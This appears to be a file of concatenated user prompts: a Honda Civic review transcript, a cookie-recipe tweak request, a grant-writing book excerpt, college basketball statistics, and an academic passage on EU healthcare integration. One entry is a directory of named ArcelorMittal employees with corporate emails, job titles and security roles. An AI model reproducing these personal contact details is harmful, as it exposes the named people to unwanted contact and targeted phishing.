clutch system but there is no gearbox as such so it\'s still weird I need to shut up now let\'s get over it man go over it it drives nice this Honda espresso note 60 in 8.1 seconds but we\'ll find out why specialist timing gear says now in sports mode Let\'s Do It foreign seconds the pickup because it\'s just driven by an electric motor really just nuts well I totally don\'t believe that I\'ll have to do it again maybe my specialist timing gear was playing I\'m going to reset it that\'s another go can\'t be right [Music] sounds quick 6.93 that time I can\'t believe he\'s doing sub seven seconds who are you [Music] so then what\'s my final verdict on the new Honda Civic should you avoid it should you consider it actually shortlist it or should you just go right ahead and buy it I think you should shortlist it it really is a great all-round family hatchback I hope you\'ll enjoyed the video if you did give it a like let me know what you think of my verdict in the comments below if you want to watch some more videos just click on those windows there thanks for watching"' +"Given the following cookie recipe, give me some interesting avenues I could take to tweak the recipe to make it interesting or unique:\n----\nWhat makes these brown butter chocolate chip cookies so special? There are a few key ingredient ratios that truly make them one-of-a-kind. Here’s what you’ll need:\n\nFlour: this recipe uses good old all purpose flour to get the perfect texture. I do NOT recommend swapping flours here.\nBrown butter: the brown butter is what really makes them so unique. The flavor profile is nutty, sweet, toasty and reminiscent of a caramel hazelnut flavor.\nSugar: instead of doing a half-and-half ratio of regular granulated white sugar and brown sugar, I do mostly brown sugar and only a bit of white sugar. The brown sugar helps to keep the cookies softer and chewier in the middle, yet still allows for crispy, delicious edges. Normally I choose dark brown sugar because it has a tiny bit more molasses in the flavoring, which again, helps to achieve an out-of-this-world cookie. Don’t worry though, light brown sugar also works.\nEgg + egg yolk: this recipe calls for 1 egg + an additional 1 egg yolk, which makes all the difference in creating a rich texture and the perfect consistency. Just trust me.\nGreek yogurt: it sounds crazy, but a tiny bit of yogurt helps activate the baking soda so you get moist, lovely dough and amazing, crinkly tops. If you’re out of greek yogurt, try sour cream.\nChocolate chips: another thing that makes this recipe unique is the TWO types of chocolate chips, milk chocolate and semi-sweet. It really just creates more flavor profiles. If you like dark chocolate, then you can do that and semi-sweet. Totally up to you.\nBaking staples: of course, don’t forget the baking soda, salt, and vanilla extract. Learn how to make your own vanilla here! I also like to sprinkle the cookies with fancy sea salt after baking.\nBest Brown Butter Chocolate Chip Cookies in a stack\nCan I make them gluten free?\nUnfortunately, I cannot recommend a good gluten free substitute that will yield the same amazing cookies. Feel free to try out any of my gluten free cookies here.\n\nTips for making perfect brown butter chocolate chip cookies\nWith these simple tips & tricks you’ll make the absolute best cookies every time:\n\nDo not use substitutes. Unless I provide swaps (like sour cream for the greek yogurt) do not substitute other ingredients as the cookies will not turn out the same.\nUse room temp ingredients. After browning your butter, make sure it’s cool enough to touch before adding it to your dough. I usually set it aside to cool for 10-15 minutes before making the recipe. Also, be sure to scrape every bit of brown butter from your pan. You’ll want to make sure your eggs are at room temp, too, so they don’t coagulate with the butter. Simply run the eggs under warm water for about a minute or place them in a bowl of warm water for a few minutes.\nMeasure your flour correctly. Do you know the best way to measure flour without a scale? Get my tips & tricks in this video!\nChill the dough. Yes, this recipe requires you to chill the dough, but I promise it’s worth it. Chilling cookie dough allows the cookies to create a smooth caramel flavor, with crispy brown edges, a chewy interior and crackly tops. This happens because the fat in the recipe (butter) is solid and the sugar also absorbs some of it. Trust me, it’s a game-changer.\nBest Brown Butter Chocolate Chip Cookies in a stack\nHow to freeze cookie dough\nFreezing cookie dough is wonderful because it allows you to prep ahead when you have guests or are throwing a party. I LOVE freezing extra cookie dough because that way I can pop them in the oven whenever I want and it’s great when you want to bring something to a party or to a loved one’s house, but don’t feel like having a baking extravaganza. Here’s how to do it.\n\nAfter the dough is done chilling in the fridge for at least 30 minutes, roll the cookie dough into balls and place them on a cookie sheet lined with parchment paper. Chill the dough in the freezer for 30 minutes. This is known as a flash freeze.\nOnce the cookie dough balls firm up, you can transfer them to a reusable freezer-safe bag or container. Cookie dough will keep well for up to 3 months.\nWhen ready to bake, simply bake cookies as directed in the recipe. You’ll likely just need to add a few extra minutes of baking time!\nWatch me make brown butter chocolate chip cookies\n\nFreeze baked cookies for later\nIf you want to freeze the already baked cookies for later, simply wait for them to cool completely, then transfer them to a reusable freezer-safe bag or container lined with wax or parchment paper. I like to place them in a single layer to avoid any cookies breaking. Cookies will keep well for up to 2 months. Once ready to eat, simply thaw out at room temperature and enjoy.\n\nMore cookie recipes you’ll love\nBrown Butter Pumpkin Snickerdoodles\nSalted Brown Butter Coffee Oatmeal Chocolate Chunk Cookies\nWhite Chocolate Macadamia Snickerdoodles\nPeanut Butter Cup S’mores Chocolate Cookies\nDeath by Chocolate Peppermint Cookies\nGet all of my cookie recipes here!\n\nI hope you enjoy these brown butter chocolate chip cookies as much as I love baking them. If you make them be sure to leave a comment and a rating so I know how you liked them! Enjoy, xo!\n\nThe Best Brown Butter Chocolate Chip Cookies You'll Ever Eat\n4.86 FROM 295 VOTES\nLEAVE A REVIEWPRINT RECIPE\nBest Brown Butter Chocolate Chip Cookies on a baking sheet\nPREP TIME\n2 HOURS 20 MINUTES\nCOOK TIME\n10 MINUTES\nTOTAL TIME\n2 HOURS 30 MINUTES\nSERVES\n24\nWorld famous brown butter chocolate chip cookies made with dark brown sugar, two types of chocolate chips and a sprinkle of sea salt. These epic cookies are perfectly crispy on the outside, chewy in the middle, and are, in fact, the BEST cookies you will ever eat.\n\nIngredients\n2 1/4 cup all-purpose flour\n1 teaspoon baking soda\n1/2 teaspoon salt\n1 cup unsalted butter (2 sticks)\n1 1/2 cups packed dark brown sugar\n1/4 cup granulated sugar\n1 large egg + 1 additional egg yolk, at room temperature\n1 tablespoon vanilla extract\n1 tablespoon plain greek yogurt\n3/4 cup semi-sweet chocolate chips\n3/4 cup milk chocolate chips (or sub dark chocolate chips)\nMaldon sea salt, for sprinkling on top\nInstructions\nFirst, brown your butter: add butter to a large saucepan and place over medium heat. The butter will begin to crackle, and then eventually foam. Make sure you whisk constantly during this process. After a couple of minutes, the butter will begin to brown and turn a nice golden amber color on the bottom of the saucepan. Continue to whisk and remove from heat as soon as the butter begins to brown and give off a nutty aroma. Immediately transfer the butter to a medium bowl to prevent burning. Set aside to cool for 10 minutes or until cool enough to touch.\n\nWith an electric mixer, mix the brown butter and sugars until well combined, about 1 minute. Beat in the egg, egg yolk, vanilla, and yogurt until combined. \nIn a separate large bowl, whisk together the flour, baking soda, and salt. Slowly add the dry ingredients to the wet ingredients and beat on low-speed just until combined. Add both chocolate chips and mix on low speed until just incorporated into the dough.\n\nChill your dough for 2 hours in the refrigerator, or up to 12-24 hours. Do not try to speed up this process. The dough needs to chill in order to be perfect.\n\nHelpful tip: If you want to make it easier to bake the cookies, I suggest rolling them into balls BEFORE chilling the dough. That way you can simply place them on the prepared baking sheet and bake! Up to you. I usually put my dough in the fridge for 10 minutes, then I take it out roll them into balls, place on a plate or baking sheet and place in the fridge for another hour or two.\n\nOnce dough is chilled, preheat the oven to 350 degrees F and line a baking sheet with parchment paper. You might need to take out the dough and thaw it out a bit before measuring the dough if it is super hard and you did not already roll the cookie dough into balls. This should take about 20 minutes. Once ready to bake, measure 2 heaping tablespoons of the dough or use a medium cookie scoop. It doesn't have to be perfectly rolled. Place dough balls on cookie sheet, 2 inches apart.\n\nBake the cookies 9-11 minutes or until the edges of the cookies begin to turn golden brown. They will look a bit underdone in the middle, but will continue to cook once out of the oven.\n\nCool the cookies on the sheets for 5 minutes to allow them to set up, then sprinkle each cookie with sea salt. Remove the cooled cookies from the baking sheets and transfer to a wire rack to cool completely. Makes 24-36 cookies.\nRecipe Notes\nSee the full post for tips, tricks, freezing instructions, and more!\n\nRecipe by Monique Volz // Ambitious Kitchen| Photography by Sarah Fennel" +'From the book \'Golden Grant Rules\' by David Kincade:\nUNDERSTANDING GOVERNMENT\n37. Understand how government works: federalism\nIn Canada and the United States, our constitutions are similar in terms of federalism.\nSimply put, federalism means we have two levels of government: provincial/federal in Canada and state/federal in the USA.\nSince most "voters" or citizens do not easily understand which level of government is responsible for specific services, voters want elected officials to "do something." (e.g., grow the economy).\nWhat happens is that both levels of government offer grants, sometimes even for the same thing!\nIn Canada, Alberta had the "Export Support Fund," a grant for Alberta-based companies who want to export. Companies get grants for trade shows and other expenses abroad.\nThe federal government also has an export grant for CanExport SME (stands for small and medium-sized enterprises), which is for the same thing!\n 32\nHere is the grant writer tip: find out which application is easier to fill out before applying! In this case, the Export Support Fund was dramatically more straightforward to write than CanExport SME!\n38. Understand how government works: representative democracy\nCanada and the United States are "representative democracies."\nWe elect people from a district or constituency to represent all people within that specific geographical area.\nThat elected official goes to the capital to represent everyone in their district (also known as ridings or constituencies).\nElected officials fund the bureaucracies; politicians "sign the cheque" that pays the bureaucrats their salaries.\nThink about that?\nMeeting your elected official is simple; inquire about their public itinerary or schedule a meeting in their local office. If you can get a "letter of support" from your elected official, how do you think that will help your grant application?\nPicture this scenario. You are a bureaucrat needing to choose between 1 of 2 applications. Only one application had a letter of recommendation from "your boss." All things being equal, which grant application are you more likely to recommend?\nGrant tip: build a relationship with your provincial/state and federal representatives!\n39. Understand how government works: cabinet\nNot all elected officials are equal.\n33\n\nIn Canada, the premier or prime minister is the head of the political party that wins the most seats in the provincial legislature or parliament.\nThe leader chooses a "cabinet" from his or her party\'s elected candidates. These cabinet ministers are a small group of elected officials that officially form the "government."\nOnce these elected officials (in Canada) are appointed to cabinet, they are known as cabinet ministers (or simply ministers).\nMinisters have the legislative authority to sign off on grants in their department. Read any grant guidelines in Canada. You will see a line that says something like, "the minister has all the power, and they are the official government representative between you and the government."\nGrant Story\nWatch how powerful this line is from a grant called "Community Initiatives Program Project-Based Grant."\nSection 6.11 states, "The Minister of Culture and Tourism may exercise discretion in approving applications that fall outside the general intent of the program, based on the extent to which the applicant can demonstrate the project\'s potential and vital contributions to the community."\nGrant tip: find out who the cabinet minister is in your department and build trust with him or her. Sometimes the minister can even be your locally elected official.\nIf you attend grant events, take a guess who almost always speaks at them: ministers, of course! Ministers are responsible for the funds in the first place!\n40. Understand how government works: political parties\nPolitical parties play an essential role in Canada and the United States.\n34\n\nThe electoral system works in tandem with political parties.\nNearly all constituencies will represent a large national party, even when they have little to no chance of winning individual ridings.\nThe Canadian provincial or federal political party that wins the most seats on Election Day forms the government.\nThe electoral college system is different than a parliamentary system. Still, it works on a similar structure: the entire state goes to the political party with the most votes in each state.\nUS Political Party Story\nIn the 1992 election, independent candidate Ross Perot received 19,743,821 votes, which accounted for 18.91% of the popular vote. He failed to win any Electoral College states because of the relatively even distribution of support, but he did\nwin over 30% of the vote in Maine and 27% in Utah, finishing second in both states.\nCanada Political Party Story\nIn the 1987 New Brunswick election, Frank McKenna\'s Liberals won all 58 seats in the legislature, with 60.39% of the popular vote.\nGrant Tips: Be aware of your elected official\'s political philosophy and how they will view your organization/technology before you meet them.\n41. Understand how government works: election platforms\nWhen political parties run in election campaigns, they use election platforms.\nReading the party\'s election platform, you can predict what will happen to specific grants. If the party strongly opposes climate change, you can expect less funding for emission reductions.\n35\n\nYou might be surprised to learn how much impact individual citizens can have in shaping election platforms. Parties are usually starving for content in the lead up to elections. You can get involved early to shape future policy.\nGrant Tip\nWatch the election cycle and election platforms closely. You want to get your grant applications submitted before a new government establishes itself. In the 2019 Alberta Provincial Election, the government froze most grant spending from spring to fall. This delay caused applications to go on hold, leaving entrepreneurs wondering if they would receive funding.\n42. Understand how government works: election system\nYou should know if your local politician is on the government\'s side (the majority) or the opposition. This knowledge will inform you how close you are to the decision- maker.\nIn Canada and the USA, we have a "first-past-the-post" election system. Every candidate lines up at election time (like a horse race) in a geographical area (called a constituency, riding, or district), and only "one" candidate wins.\nBecause multiple candidates run in each constituency, the winning candidate often receives less than 50% of the vote. As an outcome of this electoral system, a legislature can win a majority of seats with less than 50% of the popular vote.\nFor example, if three candidates run in a district, "Candidate A" receives 40%, "Candidate B" receives "30%, and "Candidate C" receives 30%, Candidate A represents 100% of the riding with only 40% of the popular vote.\nGrant Tip: Be aware of who you are dealing with. For example, does your locally elected official support Greenhouse Gas (GHG) emission reduction innovation, or are they anti-climate change? Know this information when asking for a letter of reference.\n36\n\nIf your elected official is on the side of government, you can ask how they can help you meet the minister of your grant\'s department.\n43. Understand government fiscal year\nMost provincial and federal government fiscal years run from April 1 to March 31.\nWhen a government refers to "year," it almost always refers to a fiscal year. When the government plans to give you multi-year funding over 18 months, it is planning that on the government fiscal year, not yours.\nGrant Story\nI had a client win a significant government contribution over two years. However, the grant agency called them and asked if they could pay them upfront in March. The situation likely had to do with allocating capital in that fiscal year to help the department manage its books.\n44. Who signs the grant cheque: the minister\nThe most important person in the grant world is the minister of the department. The minister has the final say on big funding decisions, and they can make grant exceptions anytime.\nGrant Story\nI had a client going for a large non-profit capital grant. My client was told that grant staff place applications into two piles "Recommend" and "Not Recommend." Then the bureaucrat told them the minister would take applications from the "Not" piles if he or she wants. The lesson: know who signs the cheques.\nRemember, elected officials are held accountable for taxpayer dollars. The buck stops with them. The system is not perfect, but it is the best we got!\n37\n\n45. Enhance the minster\'s mandate\nYour grant application should enhance the minister\'s mandate. Your chances of success are going to increase when you do that dramatically!\nWhen you write the application, you should be able to see the minister at your event presenting the cheque to you and your organization.\nElevate Aviation $426,000 grant announcement. Local MP and Minister in the background. My sister Kendra is at the podium. Keep reading! Your turn next.\n46. Understand that your audience is the taxpayer\nIf your grant doesn\'t "sell" to the taxpayer, it is likely to lose. Conversely, if your grant has a significant positive impact on taxpayers\' lives, it is more likely to win.\nYour innovation or project can be complicated, so make it easy for the grant agency to understand.\n 38\n\n47. Why governments give grants\nThe easiest way for government officials to show support for something is to cut a cheque or through grants. Governments cannot possibly run every program, so grants are an excellent tool for allocating capital.\nFinally, grants work. When the government dangles free money to solve a problem, businesses put forward solutions to fix them.\n48. It\'s not about you – it is about them\nYour government got elected on a campaign platform. That platform is full of promises and commitments.\nWhether or not it wins the next election will have a lot to do with how well the government performed. If it fails on any of those fronts, you can imagine its competition will be all over them.\nLook at your governments\' commitments. You can find them on their websites. Are they committed to reducing GHG emissions? Saving water? Seniors\' Housing? Arts and Culture?\nFind out what the government wants and tailor your project to its needs. Even within government, they need to compete with other departments for funding.\nYour project should help the government tell its story. Imagine the politicians all smiling at your event with a big cheque.\n39' +"next block. just confirm receipt, don't reprint:\n\nAlbany 31 8 23 0.258 40.2 67.3 23.4 56.6 0.414 7.6 23.4 0.327 12.8 17.7 0.722 9.3 22 31.3 11.7 5.7 1.6 12.6 18.6\nWyoming 31 9 22 0.29 39.9 69.2 23.9 54.2 0.44 8.6 24.8 0.349 12.8 18 0.711 7.1 23.1 30.1 11.1 4.8 2.5 11.7 15.7\nSaint Louis 33 21 12 0.636 39.9 75.5 27.9 59.7 0.468 7 19.5 0.357 12.8 17.5 0.731 9.3 26.7 36 16.4 5 4 11.7 16.9\nBoise State 33 24 9 0.727 40.2 72.2 25.8 56.8 0.455 7.8 21.5 0.365 12.8 17.4 0.735 8.1 26 34.1 11.2 5.1 2.9 10.9 16.3\nMichigan 32 17 15 0.531 40.8 73.1 26.3 58.9 0.447 7.7 22.2 0.346 12.8 18.1 0.703 8.2 26.7 34.9 12.2 4.8 4.7 10 15.5\nNorth Alabama 32 18 14 0.563 40.4 74.9 27.3 58.8 0.463 7.7 20.6 0.372 12.7 17.9 0.712 7.5 24.5 32 11.6 5.8 3 10.8 16.8\nPennsylvania 30 17 13 0.567 40.6 75 27.1 58.3 0.464 8.1 22.6 0.36 12.7 17.1 0.741 9.3 26.9 36.2 14.8 5.5 3.2 12.6 18.1\nMississippi State 33 21 12 0.636 40.5 65.9 24 56.8 0.423 5.2 19.6 0.266 12.7 19.6 0.648 12.3 24 36.3 14.2 8.8 3.4 12.3 15.1\nCreighton 33 21 12 0.636 40.2 76.6 27.5 58.9 0.467 8.9 24.8 0.36 12.7 16.5 0.767 7.8 27.6 35.3 15.9 5.2 4.2 11.3 13.2\nSt. John's 33 18 15 0.545 40.5 77.3 29.4 65.4 0.449 5.8 17.7 0.33 12.7 18.2 0.699 12.1 26.3 38.4 15.2 8.3 3.7 13.6 16.2\nWichita State 32 17 15 0.531 40.6 71 25.8 57.5 0.45 6.6 21.4 0.309 12.7 17.7 0.716 8.6 25.6 34.2 13.3 6.3 4 12.3 14.9\nFlorida State 32 9 23 0.281 39.8 69.3 25.1 57.5 0.436 6.5 19.8 0.33 12.7 17.5 0.726 7.8 21.8 29.7 13.4 6.2 3.9 11.8 16.2\nCornell 28 17 11 0.607 40.1 81.7 29.1 62.1 0.47 10.7 30.4 0.353 12.7 17.5 0.724 9.1 22.8 31.9 17.5 9.7 2.3 12.1 16.6\nKansas 34 27 7 0.794 40 74.9 27.6 59.4 0.466 7 20.3 0.344 12.7 17.7 0.717 8.8 25.2 34 16.4 8.8 3.8 12.2 16.6\nDrake 34 27 7 0.794 40.8 75.3 27.4 58.1 0.47 8 21.4 0.373 12.6 16.4 0.769 7.4 26.6 34.1 13.6 5.4 2.6 10.1 14.8\nOhio 33 19 14 0.576 39.9 78.8 28.6 62.5 0.458 8.9 24 0.373 12.6 17.3 0.73 11.3 24.1 35.4 12.5 6.7 2.2 11.1 17.7\nGeorgetown 32 7 25 0.219 40.1 69.5 25.6 60.4 0.423 5.8 18.7 0.309 12.6 17.6 0.718 10 24.1 34.1 11.9 6.2 4.6 12 14.4\nFairleigh Dickinson 34 19 15 0.559 40.4 77.8 28.6 62.7 0.455 8.1 23.4 0.346 12.6 16.9 0.745 10.6 21.6 32.1 15 8 1.9 11.3 19\nMorgan State 31 15 16 0.484 40.5 74.9 27.8 61.6 0.452 6.6 18 0.369 12.6 18.3 0.688 10.5 21.9 32.4 15.5 9.8 4.5 15.8 20.9\nJacksonville State 31 13 18 0.419 40.1 69.9 24.1 55 0.438 9.1 24.1 0.377 12.6 18 0.699 9.1 24.4 33.5 12.3 5.5 2.4 12.9 16.5\nOregon 33 19 14 0.576 39.9 70.7 25.5 56.8 0.449 7.1 22.2 0.319 12.6 17.7 0.709 10.2 24.8 35 13.2 5.7 4.8 11.9 14.8" +'Kris Kupilas kris.kupilas@arcelormittal.com R&D Digital Transformation Lead UK ArcelorMittal International Luxembourg S.A. \nDaniel Castano daniel.castano@arcelormittal.com IT Infrastructure Lead at ArcelorMittal (Prev. Digital Workplace Mgr) LUXEMBOURG ArcelorMittal International Luxembourg S.A. \nAnderson Peter Morelato anderson.petermorelato@arcelormittal.com CTO USA ArcelorMittal USA LLC Scope : North America \nBenoit Fagneray benoit.fagneray@arcelormittal.com IT Director LUXEMBOURG ArcelorMittal International Luxembourg S.A. \nRoy Braad roy.braad@arcelormittal.com Support Manager - IT Security Officer GERMANY ArcelorMittal Bremen GmbH Scope: Part of the central IT for FCE delivering support and projects and responsible for the End user, Network, Security & Compliance in the Office environment for the Bremen Site. \nPrayag Pal prayag.pal@arcelormittal.com Enterprise Infrastructure Architect UNITED ARAB EMIRATES ArcelorMittal DSTC FZE (Dubai) \nDidier Rubiolo didier.rubiolo@arcelormittal.com Head of IT transformation - India program manager LUXEMBOURG ArcelorMittal International Luxembourg S.A. "Scope : For Flat Europe product segment\n- Drive the IT transformation program in tight interaction with IT domain and cluster head.\n- Monitor change management with teams and HR.\n- Drive the creation and development of the India competence center" \nCarlos Alba carlos.alba@arcelormittal.com Global R&D - Chief Digital Officer SPAIN ArcelorMittal International Luxembourg S.A. Scope : Corporate \nGuido Alexander Gora guido.alexandergora@arcelormittal.com Head of IT GERMANY ArcelorMittal Duisburg GmbH \nSofyen Gorsane sofyen.gorsane@arcelormittal.com Digital & Cloud IT Lead LUXEMBOURG ArcelorMittal International Luxembourg S.A. \nPeter Depoorter peter.depoorter@arcelormittal.com Security Officer (Freelance) BELGIUM ArcelorMittal International Luxembourg S.A. "- Defining a security strategy with particular attention to industrial environments\n- Assisting in reaching compliance requirements for data security (GDPR)\n- Implementing the security governance norm chosen by the Arcelormittal group (NIST)\n- Technical lead on security monitoring, network segmentation, access management, …\n- Building awareness trainings on several security topics\n- Create reports based on vulnerability scans (Nessus)\n- Assisting IT support teams on security incidents" \nIgor Lepretre igor.lepretre@arcelormittal.com Flat Carbon Europe Remote IT Infrastructure Management Center Lead LUXEMBOURG ArcelorMittal International Luxembourg S.A. In charge of building (internal technical architects) and running (Third Party Contracts in Spain) the solutions (End User Computing, Network, Midrange) deployed on the entire Flat Carbon Europe perimeter \nCarlos Lacasa Sanchez carlos.lacasasanchez@arcelormittal.com Head of Cybersecurity and IT/OT Infrastructures SPAIN ArcelorMittal España S.A. \nDmytro Smirnov dmytro.smirnov@arcelormittal.com Digital Workplace LUXEMBOURG ArcelorMittal International Luxembourg S.A. \nMarco Billant marc.billant@arcelormittal.com CIO FRANCE ArcelorMittal International Luxembourg S.A. Retired? \nBob Dabkowski robert.dabkowski@arcelormittal.com IT Infrastructure Manager USA ArcelorMittal USA LLC \nErwin Klomp erwin.klomp@arcelormittal.com IT Manager NETHERLANDS ArcelorMittal Projects Europe https://projects.arcelormittal.com/ \nPaul Anthony Stevens paul.anthonysteves@arcelormittal.com Head of Compliance Europe LUXEMBOURG ArcelorMittal International Luxembourg S.A. \nLuc-Andre Lavoie luc-andre.lavoie@arcelormittal.com Director Transformation Office (TO) CANADA ArcelorMittal Long Products Canada G.P. \nKoen Janssens koen.janssens@arcelormittal.com IT/OT Lead West Europe BELGIUM ArcelorMittal Belgium N.V. Scope : ArcelorMittal Downstream Solutions (Information Technology and Operating Technology Lead for ArcelorMittal Downstream Solutions West Europe) \nStanislav Nabok Stanislav.Nabok@arcelormittal.com IT Security Manager – PJSC ArcelorMittal Kryviy Rih UKRAINE PJSC ArcelorMittal Kryvyi Rih Scope : Corporate ? (IT Security and Compliance, SOx\\ITGC Compliance, Risk Management, Vulnerability Management, User Awareness, IT Continuity Planning) \nAlok Tyagi alokkumar.tyagi@arcelormittal.com IT Manager - Infrastructure Service Delivery LUXEMBOURG Arcelor Mittal International Luxembourg S.A. Scope: Collaboration at corporate and group level. Teams, videoconferencing \nKonstyantin Telychko kostyantyn.telychko@arcelormittal.com IT Expert - Group IT and infrastructure LUXEMBOURG Arcelor Mittal International Luxembourg S.A. Reports to Alok Tyagi. Scope: Technical validation of solutions and providers on collaboration projects. \nAhmad Abulhadi ahmad.abdulhadi@arcelormittal.com IT Expert - Support to BU and segments LUXEMBOURG Arcelor Mittal International Luxembourg S.A. Reports to Alok Tyagi. Scope: Collaboration and remote office. Identifies and follow projects for local BU\'s-Entities. \nRichard Vigneron richard.vigneron@arcelormittal.com Head of Fcility Management and Multimedia LUXEMBOURG Arcelor Mittal International Luxembourg S.A. "Almost retired.\n" \nMarc De Vos marc.devos@arcelormittal.com Responsible Network and Telecom Gent - Industrial IT, Automation and models BELGIUM ArcelorMittal Gent - Flat Carbon \nDominique Sauvage Dominique.Sauvage@arcelormittal.com CIO - ArcelorMittal AMDS - Europe BELGIUM ArcelorMittal Industeel \nSacha Ciszewicz Sacha.Ciszewicz@arcelormittal.com Project Manager - Group IT LUXEMBOURG Arcelor Mittal International Luxembourg S.A. Involved on Cloud project - IAAS \nBastien Caspani bastien.caspani@arcelormittal.com Research Engineer France \nThomas Hilbert thomas.hilbert@arcelormittal.com R&D Engineer (electronics - computer sciences) France \nSalvatore Vetro salvatore.vetro@arcelormittal.com Manufacturing intelligence at ArcelorMittal Belval and Differdange Luxembourg \nStéphane Sanchez stephane.sanchez@arcelormittal.com Research engineer (industry 4.0, digitization, AI) France \nDominique Drouot dominique.drouot@arcelormittal.com IT Manager France \nJose Ramon Rio Blanco joseramon.rio@arcelormittal.com Senior software Engineer - Software architect Spain \nO B Jayan ob.jayan@arcelormittal.com Executive assitant to Chairman UK ArcelorMittal HQ London \nBertrand Schmitt bertrand.schmitt@arcelormittal.com CIO & CDO France \nJean-Marc Talloen E jeanmarc.talloen@arcelormittal.com Coordinator Industrial Server Infrastructure - Automation and models Belgium ArcelorMittal Gent \nBhushan Deshpande bhushan.deshpande@amns.in CIO India ArcelorMittal - Nippon Steel India \nGouri Inamdar gouri.inamdar@amns.in IT head India ArcelorMittal - Nippon Steel India \nParag Jain parag.jain@amns.in Digital Lead India ArcelorMittal - Nippon Steel India \nMaheep Mathur maheep.mathur@arcelormittal.com Digital Team Member India ArcelorMittal - Nippon Steel India \nSandeep Shah sandeep.shah@amns.in Deputy General Manager INDIA Arcelor Mittal Nippon Steel IT Procurement \nAmit Gaikwad amit.gaikwad@arcelormittal.com Procurement Lead INDIA ArcelorMittal Ventures Pvt. Ltd. IT Procurement \nSteven De Roo steven.deroo@arcelormittal.com 5G Gent Belgium \nNisarg Trivedi nisarg.trivedi@amns.in Senior Consultant India ArcelorMittal - Nippon Steel India \n rosa.castellano@arcelormittal.com \nadler.teixeira@arcelormittal.com adler.teixeira@arcelormittal.com Cybersec' +'summarize the following:\n\nThe Drivers of a European Healthcare Union in the Making: The Dynamics of law and Politics\nThe European healthcare union has emerged and evolved despite member states insisting that the organization of welfare should primarily remain a national responsibility (Ferrera, 2005; Leibfried, 2010). This evolution concerns the classic question of European integration. Which driving dynamics have been at play and explain the emerging features of a European healthcare union? Research on EU healthcare integration indicates different dynamics and institutions in explaining the emerging field. One line of research focuses on crises- or problem-driven dynamics where the outbreak of communicable diseases, such as AIDS or the BSE crisis, or shared public health problems, such as obesity, have pushed for European solutions. In this expansion of Union involvement, the European Commission is presented as a successful entrepreneur that seized the window of opportunity and expanded EU power and provisions (Lamping and Steffen, 2009; Kurzer and Cooper, 2011; Steffen, 2012; Greer and Löblová, 2016, this volume). Confirming the neo- functionalist focus on the stimulating role of non-state actors, the DG SANTE is presented here as a key institution that accepted political leadership and ensured EU involvement in public health. Similarly, the influence of other non-state actors, such as professional medical networks, have been noted (Trubek et al, 2009).\nIn recent decades, the politicized issue of identity has begun to overshadow problem-solving as a key motive in discussions on European integration (Hooghe and Marks, 2009). The greater public is also no longer indifferent to what (supranational) elites have decided. The era of permissive consensus has thus come to an end. Greer and Löblová couple neo-functional spill-over dynamics with Kingdon’s multiple streams approach to identify the impact of politicization and dissensus. In the two processes of agenda-setting that they examine, Greer and Löblová cannot identify the constraining dissensus of politics as presented by Hooghe and Marks (2009), but they note that political dissensus may still apply in the decision making phase of integration. The neo-functionalist explanations above primarily concern issues of public health; these issues involve less reluctance among governments and the greater public concerning integration. The financing and organizing of healthcare may be a different story, however. Kingdon’s multiple streams approach, or variations of it, can still be helpful to explain whether a European healthcare union may yet emerge in the organized chaos of the EU despite a Eurosceptic mood (see also Vollaard and Martinsen, 2014; Baeten and Vanhercke, 2016).\nAs noted above, the CJEU has played an important role in the integration of cross- border healthcare. The CJEU has constituted a major motivation for the making of EU health law. Hervey (2016) argues that when we can explain how EU health law emerged as a field, we must examine how and by whom the law was narrated. Hervey notes that narration is the core to the evolving EU health regulation, which is a process through which principles, content and themes are discerned and articulated. For the emerging EU healthcare law, three main groups have been involved, namely, the legislature, the courts and the academy. The national courts and the CJEU have been key actors in deciding the content and scope of the narration, but they have been joined by the national and EU legislatures and to a lesser extent, the academy. Each set of actors have their own interpretation of what constitutes the meaning of law, and they do not always agree. Especially the legislatures have insisted on ‘objective public interest’ to be part of the narration to protect the organization and capacity of national health care systems. The emphasis on ‘objective public interest’ has increasingly been recognized by the CJEU. The narration of EU healthcare law is thus also a process through which both the scope and the limits of EU regulation are defined. The narration of EU healthcare law is not a linear line of progression towards more EU regulation. In addition, the application of the narration and its implementa- tion and impact is not a given or automatic but depends on its clarity, that is, which Hervey terms ‘structural coherence’.\nLegal integration is also the focus of another line of research, in particular the field of cross-border healthcare (Martinsen, 2005; Greer, 2006). Here the litigants, courts and particularly the CJEU come to the forefront and explain the expansion of EU competences. The CJEU applied internal market principles to the healthcare area, and for almost a decade, progressive legal interpretations were able to advance what politics could or would not. However, the political reluctance towards any EU intrusion into national healthcare systems left its mark on both CJEU case law and its implementation. The integration process of Union cross-border healthcare details the dynamics of law and politics as they unfolded over time. Concerning the law, CJEU case law intervened in a highly sensitive political field. The CJEU likely did not anticipate the strong reactions against its legal moves. As noted by Greer and Jarman (2012), the Court probably did not know much concerning the substance of healthcare or did not give much consideration to the impact of and responses to entering a ‘complex, politically difficult and very expensive area’ (p. 267). Regarding politics, healthcare ministers first strongly opposed CJEU intervention in the policy field but were soon unable to agree on a political response to legal integration. The member states waited for the Commission to take the initiative, but the Commission responded with ‘deafening silence’ (Palm et al, 2000, p. 78). Apparently, the European executive was crippled with internal disagreements between its Commissioners and DGs, and the European Parliament warned the Commission of the political defeat that it would suffer if it did not establish the appropriate balance among the principles of the internal market through subsidiarity (Martinsen, 2015, pp. 147–148).\nMeanwhile, the European Court continued to develop its interpretations on cross- border healthcare. As the rulings developed, their scope was gradually clarified. On the one hand, the Court applied its reasoning to all healthcare systems. On the other hand, the CJEU also established that deviations from the free movement principles were justifiable under certain conditions, thus ‘fine-tuning’ its jurispru- dence (Obermaier, 2009; De Ruijter, 2015, p. 228). In July 2008, the Commission could finally present its proposal on patients’ rights in cross-border healthcare. It was clear from early on that a majority of politicians in the Council and the European Parliament wanted to maintain national control over a large scope of healthcare treatments through prior authorization. The adopted version of the Directive thus came to modify the impact of the Court’s jurisprudence because it allowed for the use of prior authorization for not only hospital care but also highly specialized and expensive outpatient care – as defined by the member states. The Commission was highly unsatisfied with this political development and found that the extensive use of prior authorization in fact departed from the case law of the Court (Martinsen, 2015, pp. 171–172).\nAt the same time, the CJEU, however, has taken a more ‘tempered’ approach and apparently adapted its behaviour to the European legislator (Hatzopoulos and Hervey, 2013). Even during the decision-making process between the Council and the European Parliament, the CJEU adapted its reasoning concerning an extended use of prior authorization (Baeten and Palm, 2013, p. 394).3 The law and politics dynamics that were involved in constructing the emerging healthcare Union thus demonstrate that legal integration was highly important from the outset, but the CJEU did not do it alone. The course of legal integration was occasionally modified and proved responsive to political positions. The CJEU did not need to adapt its position because its previous rulings were based on primary law, which from a formal point of view, can only be overridden through a Treaty 